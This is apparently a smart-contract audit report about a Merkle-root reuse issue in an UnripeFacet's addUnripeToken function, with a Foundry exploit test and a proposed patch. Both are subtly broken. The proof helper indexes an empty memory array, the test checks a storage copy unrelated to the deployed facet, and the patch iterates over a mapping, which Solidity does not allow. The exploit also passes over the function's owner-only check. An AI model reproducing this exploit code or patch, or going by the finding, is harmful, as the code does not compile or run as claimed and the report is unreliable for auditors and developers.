The addUnripeToken function in the UnripeFacet allows the addition of new Unripe Tokens. However, it does not check if the Merkle root has already been used for a different Unripe Token. This can lead to potential fraudulent claims, as malicious users can reuse Merkle proofs across different tokens that share the same root, compromising the integrity and security of the protocol.
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../contracts/UnripeFacet.sol";
import "../contracts/libraries/LibAppStorage.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract TestDuplicateMerkleRoot is Test {
UnripeFacet unripeFacet;
ERC20 unripeToken1;
ERC20 unripeToken2;
AppStorage s;
function setUp() public {
unripeFacet = new UnripeFacet();
unripeToken1 = new ERC20("Unripe Token 1", "URT1");
unripeToken2 = new ERC20("Unripe Token 2", "URT2");
}
function testDuplicateMerkleRootAddition() public {
address unripeTokenAddress1 = address(unripeToken1);
address unripeTokenAddress2 = address(unripeToken2);
address underlyingToken = address(new ERC20("Ripe Token", "RPT"));
bytes32 sharedRoot = keccak256(abi.encodePacked("shared merkle root"));
unripeFacet.addUnripeToken(unripeTokenAddress1, underlyingToken, sharedRoot);
unripeFacet.addUnripeToken(unripeTokenAddress2, underlyingToken, sharedRoot);
UnripeTokenSettings memory settings1 = s.sys.silo.unripeSettings[unripeTokenAddress1];
UnripeTokenSettings memory settings2 = s.sys.silo.unripeSettings[unripeTokenAddress2];
assertEq(settings1.merkleRoot, sharedRoot, "Merkle root for Token 1 should match shared root");
assertEq(settings2.merkleRoot, sharedRoot, "Merkle root for Token 2 should match shared root");
}
function testMerkleRootReuseExploit() public {
address unripeTokenAddress1 = address(unripeToken1);
address unripeTokenAddress2 = address(unripeToken2);
address underlyingToken = address(new ERC20("Ripe Token", "RPT"));
bytes32 sharedRoot = keccak256(abi.encodePacked("shared merkle root"));
unripeFacet.addUnripeToken(unripeTokenAddress1, underlyingToken, sharedRoot);
unripeFacet.addUnripeToken(unripeTokenAddress2, underlyingToken, sharedRoot);
bytes32[] memory proof = generateValidProof(sharedRoot, unripeTokenAddress1);
bool success = false;
try unripeFacet.claim(unripeTokenAddress2, proof) {
success = true;
} catch {}
assertTrue(success, "Fraudulent claim using reused Merkle proof should succeed");
}
function generateValidProof(bytes32 root, address token) internal returns (bytes32[] memory) {
bytes32[] memory proof;
proof[0] = root;
proof[1] = keccak256(abi.encodePacked(token));
return proof;
}
}
function addUnripeToken(
address unripeToken,
address underlyingToken,
bytes32 root
) external payable fundsSafu noNetFlow noSupplyChange nonReentrant {
LibDiamond.enforceIsOwnerOrContract();
AppStorage storage s = LibAppStorage.diamondStorage();
require(s.sys.silo.unripeSettings[unripeToken].underlyingToken == address(0), "Unripe token already exists");
for (address token in s.sys.silo.unripeSettings) {
require(s.sys.silo.unripeSettings[token].merkleRoot != root, "Merkle root already in use");
}
s.sys.silo.unripeSettings[unripeToken] = UnripeTokenSettings({
underlyingToken: underlyingToken,
merkleRoot: root,
balanceOfUnderlying: 0
});
emit AddUnripeToken(unripeToken, underlyingToken, root);
}